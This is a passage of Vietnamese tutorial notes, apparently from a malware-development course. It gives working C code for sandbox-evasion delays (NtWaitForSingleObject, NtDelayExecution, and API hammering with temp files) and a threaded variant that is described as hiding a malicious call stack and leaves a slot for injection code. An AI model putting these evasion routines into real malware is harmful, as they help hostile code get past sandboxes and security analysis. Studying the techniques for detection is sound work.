HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);LONGLONG Delay = NULL;LARGE_INTEGER DelayInterval = { 0 };NTSTATUS STATUS = NULL;fnNtWaitForSingleObject pNtWaitForSingleObject = (fnNtWaitForSingleObject)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtWaitForSingleObject");// Converting from milliseconds to the 100-nanosecond - negative time intervalDelay = dwMilliSeconds * 10000;DelayInterval.QuadPart = - Delay;// Sleeping for 'dwMilliSeconds' ms if ((STATUS = pNtWaitForSingleObject(hEvent, FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) { printf("[!] NtWaitForSingleObject Failed With Error : 0x%0.8X \n", STATUS);}CloseHandle(hEvent);
Delaying Execution Via NtDelayExecution
Syscall NtDelayExecution được dùng để delay việc thực thi code phục vụ cho mục đích đồng bộ hóa. Syscall này tương tự với syscall NtWaitForSingleObject nhưng không cần phải tạo ra event. Nguyên mẫu của NtDelayExecution:
NTSTATUS NtDelayExecution( IN BOOLEAN Alertable, // Whether an alert can be delivered when the object is waiting IN PLARGE_INTEGER DelayInterval // Pointer to LARGE_INTEGER structure specifying time to wait for);
Với thời gian delay cũng có đơn vị là tick giống với NtWaitForSingleObject. Thực hiện delay với NtDelayExecution:
LONGLONG Delay = NULL;LARGE_INTEGER DelayInterval = { 0 };NTSTATUS STATUS = NULL;fnNtDelayExecution pNtDelayExecution = (fnNtDelayExecution)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtDelayExecution");// Converting from milliseconds to the 100-nanosecond - negative time intervalDelay = dwMilliSeconds * 10000;DelayInterval.QuadPart = - Delay;// Sleeping for 'dwMilliSeconds' ms if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) { printf("[!] NtDelayExecution Failed With Error : 0x%0.8X \n", STATUS);}
Anti-Virtual Environments - API Hammering
API Hammering là một kỹ thuật dùng để bypass sandbox bằng cách gọi các hàm thuộc Windows API một cách ngẫu nhiên và liên tục nhằm gây ra delay ở trong chương trình.
Ngoài ra, kỹ thuật này còn được dùng để che giấu call stack chứa các hàm độc hại của các thread đang chạy bằng các lời gọi đến các Windows API vô hại.
I/O Functions
Chúng ta sẽ sử dụng 3 Windows API sau để thực hiện API Hammering
CreateFileW - được sử dụng để tạo file.
WriteFile - được sử dụng để ghi file.
ReadFile - được sử dụng để đọc file.
Các API này được chọn do nó tiêu tốn một lượng tài nguyên khá lớn khi xử lý lượng dữ liệu lớn và từ đó mà có thể gây ra delay.
API Hammering Process
Ý tưởng tổng quát sẽ bao gồm một vòng lặp thực hiện 4 bước:
Tạo file tạm.
Ghi vào file một buffer có kích thước cố định.
Đọc file tạm vào một buffer có kích thước cố định.
Xóa file tạm.
Thư mục %TEMP% ở trong Windows thường chứa các file có đuôi là .tmp, được tạo ra bởi OS hoặc các ứng dụng của bên thứ 3 để chứa dữ liệu tạm thời trong các quá trình tính toán chẳng hạn như khi cài đặt ứng dụng hoặc tải file từ internet. Khi tác vụ kết thúc, các file tạm thường sẽ bị xóa.
Xây dựng đường dẫn đến file tạm mà ta sẽ tạo ở trong thư mục %TEMP%:
// File name to be created#define TMPFILE L"MaldevAcad.tmp"WCHAR szPath [MAX_PATH * 2], szTmpPath [MAX_PATH];// Getting the tmp folder pathif (!GetTempPathW(MAX_PATH, szTmpPath)) { printf("[!] GetTempPathW Failed With Error : %d \n", GetLastError()); return FALSE;}// Constructing the file path wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);
Chúng ta sẽ sử dụng CreateFileW để tạo một file tạm ở trong thư mục %TEMP% của Windows dựa vào đường dẫn szPath ở trên:
Sau đó, tạo ra một buffer có kích thước cố định và giá trị ngẫu nhiên rồi ghi vào file sử dụng hàm WriteFile:
PBYTE pRandBuffer = NULL;SIZE_T sBufferSize = 0xFFFFF; // 1048575 byteINT Random = 0;DWORD dwNumberOfBytesWritten = NULL;// Allocating a buffer and filling it with a random valuepRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);Random = rand() % 0xFF;memset(pRandBuffer, Random, sBufferSize);// Writing the random data into the fileif (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumberOfBytesWritten, NULL) || dwNumberOfBytesWritten != sBufferSize) { printf("[!] WriteFile Failed With Error : %d \n", GetLastError()); printf("[i] Written %d Bytes of %d \n", dwNumberOfBytesWritten, sBufferSize); return FALSE;}
Kế đến, dọn dẹp buffer (gán giá trị 0) và đóng file handle:
// Clearing the buffer & closing the handle of the fileRtlZeroMemory(pRandBuffer, sBufferSize);CloseHandle(hWFile);
Tiếp theo, sử dụng CreateFileW để lấy file handle cho việc đọc và sử dụng flag FILE_FLAG_DELETE_ON_CLOSE để xóa file khi handle bị đóng:
HANDLE hRFile = INVALID_HANDLE_VALUE;DWORD dwNumberOfBytesRead = NULL;// Reading the random data written before if (!ReadFile(hRFile, pRandBuffer, sBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != sBufferSize) { printf("[!] ReadFile Failed With Error : %d \n", GetLastError()); printf("[i] Read %d Bytes of %d \n", dwNumberOfBytesRead, sBufferSize); return FALSE;}
Cuối cùng, dọn dẹp buffer, giải phóng vùng nhớ và đóng file handle:
// Clearing the buffer & freeing itRtlZeroMemory(pRandBuffer, sBufferSize);HeapFree(GetProcessHeap(), NULL, pRandBuffer);// Closing the handle of the file - deleting itCloseHandle(hRFile);
Chúng ta sẽ thực hiện tất cả các bước trên (trừ bước tìm đường dẫn của file tạm) trong một vòng lặp như sau:
BOOL ApiHammering(DWORD dwStress) { // ... // Getting the tmp folder path // ... for (SIZE_T i = 0; i < dwStress; i++) { // ... } return TRUE;}
Delaying Execution Via API Hammering
Ta cần tính toán thời gian cần thiết để API Hammering thực hiện trong m vòng lặp.
int main() { DWORD T0 = NULL, T1 = NULL; T0 = GetTickCount64(); if (!ApiHammering(1000)) { return -1; } T1 = GetTickCount64(); printf(">>> ApiHammering(1000) Took : %d MilliSeconds To Complete \n", (DWORD)(T1 - T0)); printf("[#] Press <Enter> To Quit ... "); getchar(); return 0;}
Trong ví dụ bên dưới, ta đo được rằng API Hammering chạy 1000 vòng lặp hết 5.157 giây thì tỷ lệ giữa chúng sẽ là 1000 / 5.157 = 194. Điều này đồng nghĩa với việc mỗi 194 vòng lặp sẽ giúp chúng ta delay được 1 giây.
Note
Tỷ lệ này sẽ có đôi chút khác biệt tùy theo cấu hình của máy
Với tỷ lệ vừa tính được, ta định nghĩa được một macro như sau:
#define SECTOSTRESS(i)( (int)i * 194 )
Sau khi có macro trên thì ta có thể dùng nó để chuyển đổi từ số giây mà ta muốn delay sang số vòng lặp của API Hammering:
// Delay execution for '5' seconds worth of cyclesif (!ApiHammering(SECTOSTRESS(5))) { return -1;}
API Hammering In a Thread
Chúng ta có thể thực thi API Hammering trong một thread khác main thread sử dụng hàm CreateThread để thực hiện mục đích che giấu call stack thực sự của các thread đang chạy.
int main() { DWORD dwThreadId = NULL; if (!CreateThread(NULL, NULL, ApiHammering, -1, NULL, &dwThreadId)) { printf("[!] CreateThread Failed With Error : %d \n", GetLastError()); return -1; } printf("[+] Thread %d Was Created To Run ApiHammering In The Background\n", dwThreadId); /* injection code can be here */ printf("[#] Press <Enter> To Quit ... "); getchar(); return 0;}
Trong đoạn code trên, ta truyền vào tham số thứ 4 (là đối số của hàm ApiHammering) giá trị -1 để vòng lặp có thể thực thi vô hạn (cho đến khi main thread kết thúc).